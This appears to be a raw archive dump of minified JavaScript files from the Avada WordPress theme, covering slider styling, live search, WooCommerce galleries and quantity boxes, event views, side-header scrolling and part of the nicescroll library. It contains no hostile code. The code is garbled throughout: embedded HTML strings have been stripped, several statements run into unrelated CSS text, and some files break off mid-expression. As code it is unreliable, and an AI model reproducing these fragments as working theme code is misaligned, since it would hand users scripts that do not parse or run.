e,r,a=jQuery(this);1<=a.length&&-1===a.attr("class").indexOf("tp-shadow")&&(jQuery('
    ').appendTo(this),jQuery('
    ').appendTo(this),a.addClass("avada-skin-rev")),jQuery(this).find(".tp-leftarrow").hasClass("preview1")||jQuery(this).find(".tp-leftarrow").hasClass("preview2")||jQuery(this).find(".tp-leftarrow").hasClass("preview3")||jQuery(this).find(".tp-leftarrow").hasClass("preview4")||(jQuery(this).addClass("avada-skin-rev-nav"),a.find(".tp-leftarrow").height()>a.height()/4&&a.find(".tp-leftarrow").height()#'+e+" .tp-leftarrow, #"+e+" .tp-rightarrow{margin-top:-"+r/2+"px !important;width:"+r+"px !important;height:"+r+"px !important;}#"+e+" .tp-leftarrow:before, #"+e+" .tp-rightarrow:before{line-height:"+r+"px;font-size:"+r/2+"px;}")):a.prepend('
    ")),jQuery(window).on("resize",(function(){a.find(".tp-leftarrow").height()>a.height()/4&&a.find(".tp-leftarrow").height()#'+e+" .tp-leftarrow, #"+e+" .tp-rightarrow{margin-top:-"+r/2+"px !important;width:"+r+"px !important;height:"+r+"px !important;}#"+e+" .tp-leftarrow:before, #"+e+" .tp-rightarrow:before{line-height:"+r+"px;font-size:"+r/2+"px;}")):a.prepend('
    ")):a.children(".avada-rev-arrows").remove()})))}))}function avadaRemoveRevStyles(){Number(avadaRevVars.avada_rev_styles)||(jQuery(".shadow-left").remove(),jQuery(".shadow-right").remove(),jQuery(".avada-rev-arrows").remove(),jQuery(".avada-skin-rev").removeClass("avada-skin-rev"),jQuery(".avada-skin-rev-nav").removeClass("avada-skin-rev"))}jQuery(window).on("load",(function(){avadaAddRevStyles(),jQuery(window).on("DestoryRevStyle",avadaRemoveRevStyles),jQuery(window).on("AddRevStyles",avadaAddRevStyles)}));Avada/assets/min/js/general/avada-live-search.js000064400000007310152342437710015521 0ustar00var avadaLiveSearch=function(){var s=[];avadaLiveSearchVars.live_search&&jQuery(".fusion-live-search-input").each((function(){var e,a=jQuery(this),i=a.closest(".fusion-live-search"),t=i.find(".fusion-search-button"),n=i.find(".fusion-search-submit"),o=i.find(".fusion-search-results"),r=i.find('input[name^="post_type"]'),d=i.find('input[name^="include_terms"]'),l=i.find('input[name^="exclude_terms"]'),u=i.find('input[name="search_limit_to_post_titles"]'),c=i.find('input[name="add_woo_product_skus"]'),v=i.find('input[name="live_min_character"]'),f=i.find('input[name="live_posts_per_page"]'),h=i.find('input[name="live_search_display_featured_image"]'),p=i.find('input[name="live_search_display_post_type"]'),_=i.find('input[name="live_results_scrollbar"]'),m=o.closest(".fusion-builder-row"),g=i.closest(".fusion-header"),y=void 0!==v.val()?parseInt(v.val()):avadaLiveSearchVars.min_char_count,C=void 0!==f.val()?parseInt(f.val()):avadaLiveSearchVars.per_page,j=void 0!==h.val()?parseInt(h.val()):avadaLiveSearchVars.show_feat_img,S=void 0!==p.val()?parseInt(p.val()):avadaLiveSearchVars.display_post_type;function L(s){var e="";o.html(""),o.removeClass("suggestions-empty"),o.addClass("suggestions-added"),Q("add"),jQuery.isEmptyObject(s)?(o.addClass("suggestions-empty"),e+='
    '+avadaLiveSearchVars.no_search_results+"
    ",o.append(e)):jQuery.each(s,(function(s,a){e="",e+='',a.image_url&&(e+='
    Post Thumb'+a.id+'
    '),e+='
    ',e+='
    '+a.title+"
    ",a.type&&(e+='
    '+a.type+"
    "),e+="
    ",e+="
    ",o.append(e)}))}function b(){var e,t;if(i=a.closest(".fusion-live-search"),e=a.val(),e+=(t=function(){var s=[];return r.each((function(){s.push(this.value)})),s})().toString(),y<=a.val().length){if(void 0!==s[e])return void L(s[e]);i.find(".fusion-slider-loading").show(),i.find(".fusion-search-submit").css("color","transparent"),n.css("color","transparent");let o={action:"live_search_retrieve_posts",search:a.val(),per_page:C,show_feat_img:j,display_post_type:S,post_type:t(),search_limit_to_post_titles:u.val(),add_woo_product_skus:c.val()};d.length&&(o.include_terms=d.val()),l.length&&(o.exclude_terms=l.val()),jQuery.ajax({url:avadaLiveSearchVars.ajaxurl,type:"post",data:o}).done((function(a){s[e]=a,L(a),i.find(".fusion-slider-loading").hide(),n.css("color",n.attr("data-color"))}))}else i.find(".fusion-slider-loading").hide(),n.css("color",n.attr("data-color")),o.removeClass("suggestions-added"),Q("remove")}function Q(s){m.length&&("add"===s?m.css("z-index","11"):m.css("z-index","")),g.length&&("add"===s?g.addClass("live-suggestion-added"):g.removeClass("live-suggestion-added"))}n.attr("data-color",n.css("color")),void 0!==_.val()&&_.val()&&o.addClass("live-results-scrollbar-"+_.val()),a.on("focusin",(function(){y<=jQuery(this).val().length&&o.children(".fusion-search-result").length&&(o.addClass("suggestions-added"),Q("add"))})),a.on("focusout",(function(){o.is(":hover")||t.is(":hover")||(o.removeClass("suggestions-added"),Q("remove"),o.addClass("suggestions-transition"),setTimeout((function(){o.removeClass("suggestions-transition")}),300))})),jQuery(t,o).on("mouseleave",(function(){a.is(":focus")||(o.removeClass("suggestions-added"),Q("remove"),o.addClass("suggestions-transition"),setTimeout((function(){o.removeClass("suggestions-transition")}),300))})),a.on("keyup",(function(){clearTimeout(e),e=setTimeout(b,500)})),a.on("keydown",(function(){clearTimeout(e)}))}))};jQuery(document).ready((function(){avadaLiveSearch()}));Avada/assets/min/js/general/avada-comments.js000064400000002047152342437710015146 0ustar00jQuery(document).ready((function(){var t,e,n,a,i=jQuery(".comment-respond .comment-reply-title");if(i.length&&!i.parents(".fusion-comments-tb").length&&!i.parents(".fusion-woo-reviews-tb").length&&!i.parents(".woocommerce-tabs").length){for(t=avadaCommentVars.title_style_type.split(" "),e="",a=0;a
    "),-1===e.indexOf("underline")&&i.parent().append('
    ')}jQuery(".textarea-comment").each((function(){jQuery(this).css("max-width",jQuery("#content").width())})),jQuery(window).on("fusion-resize-horizontal",(function(){jQuery(".textarea-comment").each((function(){jQuery(this).css("max-width",jQuery("#content").width())}))}))}));Avada/assets/min/js/general/avada-contact-form-7.js000064400000003126152342437710016060 0ustar00jQuery(document).ready((function(){jQuery('
    ').insertAfter(".wpcf7-spinner"),jQuery(".wpcf7 .wpcf7-spinner").remove(),jQuery(".wpcf7 > form").each((function(){jQuery(this).on("wpcf7submit",(function(e){var s=this,t=jQuery(e.currentTarget).data("status"),a="";setTimeout((function(){jQuery(s).find(".wpcf7-response-output").each((function(){"invalid"!==t&&"unaccepted"!==t&&"spam"!==t&&"failed"!==t||jQuery(this).find(".alert-icon").length||(jQuery(this).addClass("fusion-alert error fusion-danger"),jQuery(this).hasClass("alert-dismissable")&&(a=''),a+='
    '+jQuery(this).html()+"",jQuery(this).html(a)),"sent"!==t||jQuery(this).find(".alert-icon").length||(jQuery(this).addClass("fusion-alert success fusion-success"),jQuery(this).hasClass("alert-dismissable")&&(a=''),a+='
    '+jQuery(this).html()+"",jQuery(this).html(a))})),jQuery(s).find(".wpcf7-response-output.fusion-alert .close").on("click",(function(e){e.preventDefault(),jQuery(this).parent().slideUp()}))}),100)}))}))}));Avada/assets/min/js/general/avada-quantity.js000064400000004031152342437710015172 0ustar00function avadaAddQuantityBoxes(t,a){var e=!1,n=jQuery("body").hasClass("wcopc-product-single");t||(t=".qty"),a||(a=jQuery("div.quantity:not(.buttons_added), td.quantity:not(.buttons_added)").find(t)),a.length&&(jQuery.each(a,(function(t,a){"date"===jQuery(a).prop("type")||"hidden"===jQuery(a).prop("type")||jQuery(a).parent().parent().hasClass("tribe-block__tickets__item__quantity__number")||jQuery(a).parent().hasClass("buttons_added")||(jQuery(a).parent().addClass("buttons_added").prepend(''),jQuery(a).addClass("input-text").after(''),e=!0)})),e&&(jQuery("input"+t+":not(.product-quantity input"+t+")").each((function(){var t=parseFloat(jQuery(this).attr("min"));t&&0i)?a.val(i):a.val(e+parseFloat(u)):o&&(o==e||ea||t.ajax({type:"POST",url:awbViewCountVars.ajaxUrl,data:{action:"awb_update_current_post_visitors_count",post_id:a},dataType:"json"}).done((function(a){t(".awb-dynamic-current-visitors-count").text(a.count)}))}t(".awb-dynamic-current-visitors-count").length&&("ajax"===awbViewCountVars.currentPostVisitorsCount&&a(),"1"===awbViewCountVars.currentPostVisitorsCountLive&&setInterval(a,1e3*parseInt(awbViewCountVars.currentPostVisitorsCountLiveInterval))),"ajax"===awbViewCountVars.postViews&&setTimeout((function(){var a=window.fusion.getCurrentPostID();!a||0>a||t.ajax({type:"POST",url:awbViewCountVars.ajaxUrl,data:{action:"avada_set_ajax_post_views",postId:a},dataType:"json"})}),1e3)}(jQuery);Avada/assets/min/js/general/avada-side-header-scroll.js000064400000010361152342437710016765 0ustar00function moveSideHeaderStylingDivs(){var e=jQuery(window).scrollTop(),r=jQuery("#main").offset().top+jQuery("#main").outerHeight(),d=jQuery(".fusion-footer").offset().top+jQuery(".fusion-footer").outerHeight(),i=d,a=fusion.getAdminbarHeight(),o=jQuery(window).height()-a,s=e+o-d,h=jQuery("body").outerHeight(!0)-jQuery("body").height()-jQuery("body").offset().top;"footer_parallax_effect"===avadaSideHeaderVars.footer_special_effects&&(i=r,s=e+o-r),e+o>=i?s<=h?jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height("calc(100vh - "+a+"px - "+s+"px)"):s>h&&jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height("calc(100vh - "+a+"px - "+h+"px)"):jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height("100vh")}function fusionSideHeaderScroll(){var e,r,d=Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1366px) and (orientation: portrait)")||Modernizr.mq("only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape)"),i=Modernizr.mq("only screen and (max-width:"+avadaSideHeaderVars.side_header_break_point+"px)"),a=avadaSideHeaderVars.footer_special_effects,o="body",s=jQuery("#wrapper").height(),h=jQuery(".side-header-background-image, .side-header-background-color, .side-header-border"),t=jQuery(".fusion-top-frame").is(":visible")?jQuery(window).height()-jQuery(".fusion-top-frame").height()-jQuery(".fusion-bottom-frame").height():jQuery(window).height();!jQuery("body").hasClass("layout-boxed-mode")||jQuery("body").hasClass("fusion-top-header")||jQuery(".fusion-top-frame").is(":visible")?jQuery(".fusion-top-frame").is(":visible")&&(i?(jQuery(".side-header-wrapper").css("paddingTop",""),jQuery(".side-header-wrapper").css("paddingBottom",""),jQuery("#side-header").css("marginTop","")):(jQuery(".side-header-wrapper").css("paddingTop",jQuery(".fusion-top-frame").height()),jQuery(".side-header-wrapper").css("paddingBottom",jQuery(".fusion-bottom-frame").height()+20),jQuery("#side-header").css("marginTop",-jQuery(".fusion-top-frame").height()))):o="#boxed-wrapper",d||"footer_sticky"===a?(jQuery("#side-header").trigger("sticky_kit:detach"),jQuery(".side-header-wrapper").trigger("sticky_kit:detach"),d&&(jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height(s+"px"),setTimeout((function(){jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height(jQuery("#wrapper").height()+"px")}),1e3))):i?jQuery("#side-header").hasClass("fusion-side-header-sticky")&&(jQuery(".side-header-wrapper, .side-header-background-image, .side-header-background-color, .side-header-border").trigger("sticky_kit:detach"),jQuery("#side-header").removeClass("fusion-side-header-sticky")):(r=!1,jQuery(window).height()s&&t>e?(e=s>e?s:e,jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height(e)):(jQuery(".side-header-background-image, .side-header-background-color, .side-header-border").height("100vh"),jQuery(window).height()>jQuery(".side-header-wrapper").height()&&jQuery(window).on("scroll",(function(){window.requestAnimationFrame(moveSideHeaderStylingDivs)}))),jQuery("#side-header").hasClass("fusion-side-header-sticky")||(jQuery(".side-header-wrapper, .side-header-background-image, .side-header-background-color, .side-header-border").trigger("sticky_kit:detach"),jQuery(".side-header-wrapper, .side-header-background-image, .side-header-background-color, .side-header-border").stick_in_parent({parent:o,sticky_class:"fusion-side-header-stuck",bottoming:r,offset_top:fusion.getAdminbarHeight()}),jQuery("#side-header").addClass("fusion-side-header-sticky"))),"footer_sticky"===a&&(i||(jQuery(".side-header-wrapper").height()>t||jQuery("body").hasClass("layout-boxed-mode")&&jQuery("body").hasClass("side-header-right")?(jQuery("#side-header").css("position","absolute"),h.css("position","fixed")):(jQuery("#side-header").css("position","fixed"),h.css("position","absolute"))))}jQuery(document).ready((function(){fusionSideHeaderScroll(),jQuery(window).on("resize",(function(){fusionSideHeaderScroll()}))}));Avada/assets/min/js/general/avada-skip-link-focus-fix.js000064400000000505152342437710017120 0ustar00/(trident|msie)/i.test(navigator.userAgent)&&document.getElementById&&window.addEventListener&&window.addEventListener("hashchange",function(){var t,e=location.hash.substring(1);/^[A-z0-9_-]+$/.test(e)&&(t=document.getElementById(e))&&(/^(?:a|select|input|button|textarea)$/i.test(t.tagName)||(t.tabIndex=-1),t.focus())},!1);Avada/assets/min/js/general/avada-woo-product-images.js000064400000024306152342437710017050 0ustar00function getVariationsValues(t){var a=0,e=0;return jQuery(t).find(".variations").find("select").each((function(){0<(jQuery(this).val()||"").length&&e++,a++})),{variations:a,chosen:e}}function variationsChange(t,a,e){var i,r,o,n,s,l,c,d,u,g=window.sources,_=void 0!==g[0]&&g[0],m=getVariationsValues(e);if(i=void 0!==a&&a.image&&a.image.gallery_thumbnail_src&&1 img"),d=n.find(".avada-product-gallery-lightbox-trigger"),u=r.find(".fusion-main-image-thumb"),t.filter('[data-o_src="'+a.image.gallery_thumbnail_src+'"]').length&&variationsImageReset(t),-1 img"),s=i.find(".avada-product-gallery-lightbox-trigger"),l=a.find(".fusion-main-image-thumb");r.wc_reset_variation_attr("src"),r.wc_reset_variation_attr("width"),r.wc_reset_variation_attr("height"),r.wc_reset_variation_attr("srcset"),r.wc_reset_variation_attr("sizes"),r.wc_reset_variation_attr("title"),r.wc_reset_variation_attr("alt"),r.wc_reset_variation_attr("data-src"),r.wc_reset_variation_attr("data-large_image"),r.wc_reset_variation_attr("data-large_image_width"),r.wc_reset_variation_attr("data-large_image_height"),o.wc_reset_variation_attr("href"),n.wc_reset_variation_attr("src"),s.wc_reset_variation_attr("href"),s.wc_reset_variation_attr("data-title"),s.wc_reset_variation_attr("data-caption"),void 0!==s.attr("data-o_data-title")&&s.data("title",s.attr("data-o_data-title")),void 0!==s.attr("data-o_data-caption")&&s.data("titcaptionle",s.attr("data-o_data-caption")),l.wc_reset_variation_attr("src"),jQuery(window).trigger("resize"),window.avadaLightBox.refresh_lightbox(),setTimeout((function(){window.avadaLightBox.refresh_lightbox()}),500),setTimeout((function(){window.avadaLightBox.refresh_lightbox()}),1500)}function initAvadaWoocommerProductGallery(){jQuery(".avada-product-gallery").each((function(){var t,a=jQuery(this),e=a.closest(".avada-single-product-gallery-wrapper"),i=a.find(".flex-control-thumbs"),r=i.find("img").length?i.find("img"):void 0;void 0!==r?r.each((function(t){jQuery(this).data("index",t),window.sources.push(jQuery(this).attr("src"))})):window.sources.push(a.find(".flex-viewport .flex-active-slide").data("thumb")),e.find(".flex-viewport").append(a.find(".flex-direction-nav")),(e.hasClass("avada-product-images-thumbnails-top")||e.hasClass("avada-product-images-thumbnails-right")||e.hasClass("avada-product-images-thumbnails-left"))&&(e.children(".onsale").length&&e.find(".flex-viewport").prepend(e.children(".onsale")),e.children(".fusion-woo-badges-wrapper").length&&e.find(".flex-viewport").prepend(e.children(".fusion-woo-badges-wrapper"))),(e.hasClass("avada-product-images-thumbnails-top")||e.hasClass("avada-product-images-thumbnails-bottom"))&&(sizeGalleryThumbnails(a),jQuery(window).on("resize",(function(){sizeGalleryThumbnails(a)})),a.on("click touchstart",".flex-control-thumbs li",(function(){var t=jQuery(this);moveProductImageThumbs(a,t,"next")})),a.find(".flex-direction-nav li a").on("click touchstart",(function(){var t=jQuery(this).parents(".avada-product-gallery").find(".flex-control-thumbs img.flex-active");t.offset().left+t.outerWidth()>a.offset().left+a.outerWidth()&&(jQuery(this).hasClass("flex-next")?moveProductImageThumbs(a,t,"next"):moveProductImageThumbs(a,t,"prev"))})),(t=Math.max.apply(null,i.find("li").map((function(){return jQuery(this).height()})).get()))||(t=i.find("li").width()),jQuery(".woocommerce-product-gallery__image").css("min-height",""),i.animate({opacity:1},500),i.wrap(''),i.parent().css("height",t)),jQuery(window).trigger("resize")}))}function sizeGalleryThumbnails(t){var a,e=t.width(),i=t.find(".flex-control-thumbs li"),r=t.data("columns"),o=i.length;a=(e-8*(r-1))/r,i.css("width",a),t.find(".flex-control-thumbs").css("width",o*a+8*(o-1)+"px")}function moveProductImageThumbs(t,a,e){var i,r,o=t.find(".flex-control-thumbs"),n=o.find("li"),s=t.data("columns"),l=o.find("li").outerWidth(),c=t.offset().left,d=Math.floor((a.offset().left-c)/l),u=[];n.length>s&&("next"===e?(d')).attr("src")&&(jQuery(".flex-viewport").length?a.attr("src",jQuery(".flex-viewport").find(".flex-active-slide").data("thumb")):(a.addClass("awb-no-thumbs"),a.attr("src",jQuery(".avada-product-gallery").find(".wp-post-image").data("src")),a.attr("data-parent",".avada-product-gallery"))),jQuery(".flex-viewport").find(".flex-active-slide").addClass("fusion-main-image"),jQuery(".flex-control-nav").find("li:eq(0) img").addClass("fusion-main-image-thumb")}),100),"load"===t.type&&"undefined"==typeof wc_additional_variation_images_local&&setTimeout((function(){jQuery("body").find(".variations_form .variations select").trigger("change.wc-variation-form")}),100),jQuery("body").on("found_variation.wc-variation-form",".variations_form",(function(t,i){e=i,!1!==jQuery(this).data("product_variations")||jQuery(this).closest(".fusion-layout-column:not(.fusion_builder_column_inner)").hasClass("post-card")||variationsChange(a,e,jQuery(this))})),!1!==jQuery(".variations_form").data("product_variations")&&jQuery("body").on("change.wc-variation-form",".variations_form .variations select",(function(){jQuery(this).closest(".fusion-layout-column:not(.fusion_builder_column_inner)").hasClass("post-card")||variationsChange(a,e,jQuery(this).closest(".variations_form"))})))})),jQuery((function(){setTimeout((function(){jQuery(".avada-product-gallery").find(".clone").find(".avada-product-gallery-lightbox-trigger").addClass("fusion-no-lightbox").removeAttr("data-rel"),jQuery(".woocommerce-product-gallery__trigger").empty()}),10)}));Avada/assets/min/js/general/avada-elastic-slider.js000064400000001067152342437710016226 0ustar00jQuery(window).on("load",(function(){var a;jQuery().eislideshow&&(a={autoplay:Boolean(Number(avadaElasticSliderVars.tfes_autoplay))},avadaElasticSliderVars.tfes_animation&&(a.animation=avadaElasticSliderVars.tfes_animation),avadaElasticSliderVars.tfes_interval&&(a.slideshow_interval=parseInt(avadaElasticSliderVars.tfes_interval,10)),avadaElasticSliderVars.tfes_speed&&(a.speed=parseInt(avadaElasticSliderVars.tfes_speed,10)),avadaElasticSliderVars.tfes_width&&(a.thumbMaxWidth=parseInt(avadaElasticSliderVars.tfes_width,10)),jQuery("#ei-slider").eislideshow(a))}));Avada/assets/min/js/general/avada-events.js000064400000006260152342437710014626 0ustar00function toggleMobileClass(){768>=jQuery(window).width()?jQuery("body").addClass("tribe-mobile"):jQuery("body").removeClass("tribe-mobile")}jQuery(document).ready((function(){var e,t=jQuery(".tribe-events-nav-previous").length?jQuery(".tribe-events-nav-previous").html().trim():"",i=jQuery(".tribe-events-nav-next").length?jQuery(".tribe-events-nav-next").html().trim():"",r=jQuery(".tribe-ticket-quantity, .tribe-tickets-quantity, .tribe-tickets__tickets-item-quantity-number-input");jQuery("body").hasClass("page-tribe-attendee-registration")||(r.addClass("qty").wrap('
    '),avadaAddQuantityBoxes(".qty",r),jQuery(".tribe-tickets__tickets-buy").on("click",(function(){setTimeout((function(){var e=jQuery(".tribe-dialog .tribe-tickets__tickets-item-quantity-number-input");e.parent().hasClass("quantity")||(e.addClass("qty").wrap('
    '),avadaAddQuantityBoxes(".qty",e))}),300)})),jQuery(".tribe-events-tickets-rsvp").find(".quantity input").on("change",(function(){setTimeout((function(){calcSelectArrowDimensions()}),100)}))),t.length||i.length||jQuery(".tribe-events-sub-nav").parent("#tribe-events-footer").hide(),jQuery(".fusion-tribe-has-featured-image").each((function(){var e=jQuery(this).parent().height();jQuery(this).find(".tribe-events-event-image").css("height",e)})),jQuery(window).on("resize",(function(){var e;jQuery(".fusion-tribe-has-featured-image").each((function(){jQuery(this).find(".tribe-events-event-image").css("height","auto"),e=jQuery(this).parent().height(),jQuery(this).find(".tribe-events-event-image").css("height",e)}))})),jQuery("body").hasClass("avada-ec-views-v2")&&jQuery(window).on("resize",(function(){clearTimeout(e),e=setTimeout(toggleMobileClass,200)}))})),jQuery(document).ajaxComplete((function(){var e,t;(jQuery("body").hasClass("events-archive")||jQuery("body").find(".tribe-events-shortcode .fusion-blog-layout-grid").length)&&(e=jQuery(this).parents("#tribe-events").length?jQuery(this):jQuery("#tribe-events .fusion-blog-layout-grid"),(t=e.find(".post")).each((function(){jQuery(this).find(".fusion-post-slideshow").flexslider(),jQuery(this).find(".full-video, .video-shortcode, .wooslider .slide-content").fitVids()})),e.css("height",e.height()),t.hide(),imagesLoaded(t,(function(){e.css("height",""),t.fadeIn(),e.isotope(),jQuery(window).trigger("resize",!1),jQuery('[data-spy="scroll"]').each((function(){jQuery(this).scrollspy("refresh")}))}))),jQuery("body").hasClass("events-archive")&&(jQuery(".fusion-tribe-has-featured-image").each((function(){var e=jQuery(this).parent().height();jQuery(this).find(".tribe-events-event-image").css("height",e)})),jQuery(".fusion-page-title-bar h1").length&&(jQuery("#tribe-events-header").length?jQuery(".fusion-page-title-bar h1").html(jQuery("#tribe-events-header").data("viewtitle")):jQuery(".tribe-events-page-title").length&&jQuery(".fusion-page-title-bar h1").html(jQuery(".tribe-events-page-title").html())))})),jQuery(window).on("load",(function(){jQuery(".tribe_events_filters_close_filters, .tribe_events_filters_show_filters").on("click",(function(){var e=jQuery(this);setTimeout((function(){jQuery(e).parents("#tribe-events-content-wrapper").find(".fusion-blog-layout-grid").isotope()}))}))}));Avada/assets/min/js/general/avada-woo-variations.js000064400000006336152342437710016307 0ustar00jQuery(document).ready((function(){function t(t){var e,a,r;if(t instanceof jQuery.Event)(r=jQuery(t.target).closest("select")).length&&r.closest(".avada-select-wrapper").length&&o(r);else for(e=0;e')}))}));Avada/assets/min/js/general/avada-general-footer.js000064400000000641152342437710016230 0ustar00jQuery(document).ready((function(){jQuery(".fusion-footer .fusion-footer-widget-area .fusion-column").each((function(){jQuery(this).is(":empty")&&jQuery(this).css("margin-bottom","0")})),jQuery(".fusion-social-links-footer").find(".fusion-social-networks").children().length||(jQuery(".fusion-social-links-footer").hide(),jQuery(".fusion-footer-copyright-area .fusion-copyright-notice").css("padding-bottom","0"))}));Avada/assets/min/js/library/jquery.nicescroll.js000064400000165055152342437710015762 0ustar00!function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"object"==typeof exports?module.exports=e(require("jquery")):e(jQuery)}(function(e){"use strict";var o=!1,t=!1,r=0,i=2e3,s=0,n=e,l=document,a=window,c=n(a),d=[];var u=a.requestAnimationFrame||a.webkitRequestAnimationFrame||a.mozRequestAnimationFrame||!1,h=a.cancelAnimationFrame||a.webkitCancelAnimationFrame||a.mozCancelAnimationFrame||!1;if(u)a.cancelAnimationFrame||(h=function(e){});else{var p=0;u=function(e,o){var t=(new Date).getTime(),r=Math.max(0,16-(t-p)),i=a.setTimeout(function(){e(t+r)},r);return p=t+r,i},h=function(e){a.clearTimeout(e)}}var m,f,g,v=a.MutationObserver||a.WebKitMutationObserver||!1,w=Date.now||function(){return(new Date).getTime()},b={zindex:"auto",cursoropacitymin:0,cursoropacitymax:1,cursorcolor:"#424242",cursorwidth:"6px",cursorborder:"1px solid #fff",cursorborderradius:"5px",scrollspeed:40,mousescrollstep:27,touchbehavior:!1,emulatetouch:!1,hwacceleration:!0,usetransition:!0,boxzoom:!1,dblclickzoom:!0,gesturezoom:!0,grabcursorenabled:!0,autohidemode:!0,background:"",iframeautoresize:!0,cursorminheight:32,preservenativescrolling:!0,railoffset:!1,railhoffset:!1,bouncescroll:!0,spacebarenabled:!0,railpadding:{top:0,right:0,left:0,bottom:0},disableoutline:!0,horizrailenabled:!0,railalign:"right",railvalign:"bottom",enabletranslate3d:!0,enablemousewheel:!0,enablekeyboard:!0,smoothscroll:!0,sensitiverail:!0,enablemouselockapi:!0,cursorfixedheight:!1,directionlockdeadzone:6,hidecursordelay:400,nativeparentscrolling:!0,enablescrollonselection:!0,overflowx:!0,overflowy:!0,cursordragspeed:.3,rtlmode:"auto",cursordragontouch:!1,oneaxismousemode:"auto",scriptpath:(f=l.currentScript||!!(m=l.getElementsByTagName("script")).length&&m[m.length-1],g=f?f.src.split("?")[0]:"",g.split("/").length>0?g.split("/").slice(0,-1).join("/")+"/":""),preventmultitouchscrolling:!0,disablemutationobserver:!1,enableobserver:!0,scrollbarid:!1,scrollCLass:!1},y=!1,x=function(e,p){var m=this;this.version="3.7.6",this.name="nicescroll",this.me=p;var f=n("body"),g=this.opt={doc:f,win:!1};if(n.extend(g,b),g.snapbackspeed=80,e)for(var x in g)void 0!==e[x]&&(g[x]=e[x]);if(g.disablemutationobserver&&(v=!1),this.doc=g.doc,this.iddoc=this.doc&&this.doc[0]&&this.doc[0].id||"",this.ispage=/^BODY|HTML/.test(g.win?g.win[0].nodeName:this.doc[0].nodeName),this.haswrapper=!1!==g.win,this.win=g.win||(this.ispage?c:this.doc),this.docscroll=this.ispage&&!this.haswrapper?c:this.win,this.body=f,this.viewport=!1,this.isfixed=!1,this.iframe=!1,this.isiframe="IFRAME"==this.doc[0].nodeName&&"IFRAME"==this.win[0].nodeName,this.istextarea="TEXTAREA"==this.win[0].nodeName,this.forcescreen=!1,this.canshowonmouseevent="scroll"!=g.autohidemode,this.onmousedown=!1,this.onmouseup=!1,this.onmousemove=!1,this.onmousewheel=!1,this.onkeypress=!1,this.ongesturezoom=!1,this.onclick=!1,this.onscrollstart=!1,this.onscrollend=!1,this.onscrollcancel=!1,this.onzoomin=!1,this.onzoomout=!1,this.view=!1,this.page=!1,this.scroll={x:0,y:0},this.scrollratio={x:0,y:0},this.cursorheight=20,this.scrollvaluemax=0,"auto"==g.rtlmode){var z=this.win[0]==a?this.body:this.win,k=z.css("writing-mode")||z.css("-webkit-writing-mode")||z.css("-ms-writing-mode")||z.css("-moz-writing-mode");"horizontal-tb"==k||"lr-tb"==k||""===k?(this.isrtlmode="rtl"==z.css("direction"),this.isvertical=!1):(this.isrtlmode="vertical-rl"==k||"tb"==k||"tb-rl"==k||"rl-tb"==k,this.isvertical="vertical-rl"==k||"tb"==k||"tb-rl"==k)}else this.isrtlmode=!0===g.rtlmode,this.isvertical=!1;if(this.scrollrunning=!1,this.scrollmom=!1,this.observer=!1,this.observerremover=!1,this.observerbody=!1,!1!==g.scrollbarid)this.id=g.scrollbarid;else do{this.id="ascrail"+i++}while(l.getElementById(this.id));this.rail=!1,this.cursor=!1,this.cursorfreezed=!1,this.selectiondrag=!1,this.zoom=!1,this.zoomactive=!1,this.hasfocus=!1,this.hasmousefocus=!1,this.railslocked=!1,this.locked=!1,this.hidden=!1,this.cursoractive=!0,this.wheelprevented=!1,this.overflowx=g.overflowx,this.overflowy=g.overflowy,this.nativescrollingarea=!1,this.checkarea=0,this.events=[],this.saved={},this.delaylist={},this.synclist={},this.lastdeltax=0,this.lastdeltay=0,this.detected=function(){if(y)return y;var e=l.createElement("DIV"),o=e.style,t=navigator.userAgent,r=navigator.platform,i={};return i.haspointerlock="pointerLockElement"in l||"webkitPointerLockElement"in l||"mozPointerLockElement"in l,i.isopera="opera"in a,i.isopera12=i.isopera&&"getUserMedia"in navigator,i.isoperamini="[object OperaMini]"===Object.prototype.toString.call(a.operamini),i.isie="all"in l&&"attachEvent"in e&&!i.isopera,i.isieold=i.isie&&!("msInterpolationMode"in o),i.isie7=i.isie&&!i.isieold&&(!("documentMode"in l)||7===l.documentMode),i.isie8=i.isie&&"documentMode"in l&&8===l.documentMode,i.isie9=i.isie&&"performance"in a&&9===l.documentMode,i.isie10=i.isie&&"performance"in a&&10===l.documentMode,i.isie11="msRequestFullscreen"in e&&l.documentMode>=11,i.ismsedge="msCredentials"in a,i.ismozilla="MozAppearance"in o,i.iswebkit=!i.ismsedge&&"WebkitAppearance"in o,i.ischrome=i.iswebkit&&"chrome"in a,i.ischrome38=i.ischrome&&"touchAction"in o,i.ischrome22=!i.ischrome38&&i.ischrome&&i.haspointerlock,i.ischrome26=!i.ischrome38&&i.ischrome&&"transition"in o,i.cantouch="ontouchstart"in l.documentElement||"ontouchstart"in a,i.hasw3ctouch=!!a.PointerEvent&&(navigator.maxTouchPoints>0||navigator.msMaxTouchPoints>0),i.hasmstouch=!i.hasw3ctouch&&(a.MSPointerEvent||!1),i.ismac=/^mac$/i.test(r),i.isios=i.cantouch&&/iphone|ipad|ipod/i.test(r),i.isios4=i.isios&&!("seal"in Object),i.isios7=i.isios&&"webkitHidden"in l,i.isios8=i.isios&&"hidden"in l,i.isios10=i.isios&&a.Proxy,i.isandroid=/android/i.test(t),i.haseventlistener="addEventListener"in e,i.trstyle=!1,i.hastransform=!1,i.hastranslate3d=!1,i.transitionstyle=!1,i.hastransition=!1,i.transitionend=!1,i.trstyle="transform",i.hastransform="transform"in o||function(){for(var e=["msTransform","webkitTransform","MozTransform","OTransform"],t=0,r=e.length;t=1?this.ed:this.st+this.df*o|0},update:function(e,o){return this.st=this.getNow(),this.ed=e,this.spd=o,this.ts=w(),this.df=this.ed-this.st,this}},this.ishwscroll){this.doc.translate={x:0,y:0,tx:"0px",ty:"0px"},T.hastranslate3d&&T.isios&&this.doc.css("-webkit-backface-visibility","hidden"),this.getScrollTop=function(e){if(!e){var o=L();if(o)return 16==o.length?-o[13]:-o[5];if(m.timerscroll&&m.timerscroll.bz)return m.timerscroll.bz.getNow()}return m.doc.translate.y},this.getScrollLeft=function(e){if(!e){var o=L();if(o)return 16==o.length?-o[12]:-o[4];if(m.timerscroll&&m.timerscroll.bh)return 